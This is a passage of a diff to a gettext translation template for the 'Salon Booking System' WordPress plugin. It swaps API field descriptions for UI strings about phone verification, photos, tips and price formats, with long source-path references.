src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1334, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1408\n-msgid \"The customer address for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43\n+msgid \"Phone verification\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1343, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1462\n-msgid \"The services for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:306\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:306\n+msgid \"Phone:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1466\n-msgid \"The service item.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108\n+msgid \"Photo\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1472\n-msgid \"The start at.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106\n+msgid \"Photo file.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1482\n-msgid \"The end at.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133\n+msgid \"Photo.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1492\n-msgid \"The service id.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1654\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1654\n+msgid \"Photos of the customer.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1500\n-msgid \"The service name.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:846\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:846\n+msgid \"Photos of the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1505\n-msgid \"The service price.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:296\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:296\n+msgid \"\"\n+\"PHP sessions are not active. The booking process requires sessions to work \"\n+\"properly.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1391, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1510\n-msgid \"The assistant id.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:10\n+msgid \"Physiotherapy\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1518\n-msgid \"The assistant name.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77\n+msgid \"Please add services\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1404, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1523\n-msgid \"The resource id.\"\n+#. %s will be replaced by the \"Update booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:742\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:742\n+#, php-format\n+msgid \"Please click on \\\"%s\\\" button to see the updated prices\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1531\n-msgid \"The resource name.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:97\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:97\n+msgid \"Please contact your administrator to assign you to a shop.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:23\n+msgid \"Please enter a tip amount\"\n+msgstr \"\"\n+\n+#. %s will be replaced by decimal separator\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:540\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:540\n+#, php-format\n+msgid \"\"\n+\"Please enter in monetary decimal (%s) format without thousand separators and \"\n+\"currency symbols.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1424, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1543\n-msgid \"The discounts ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 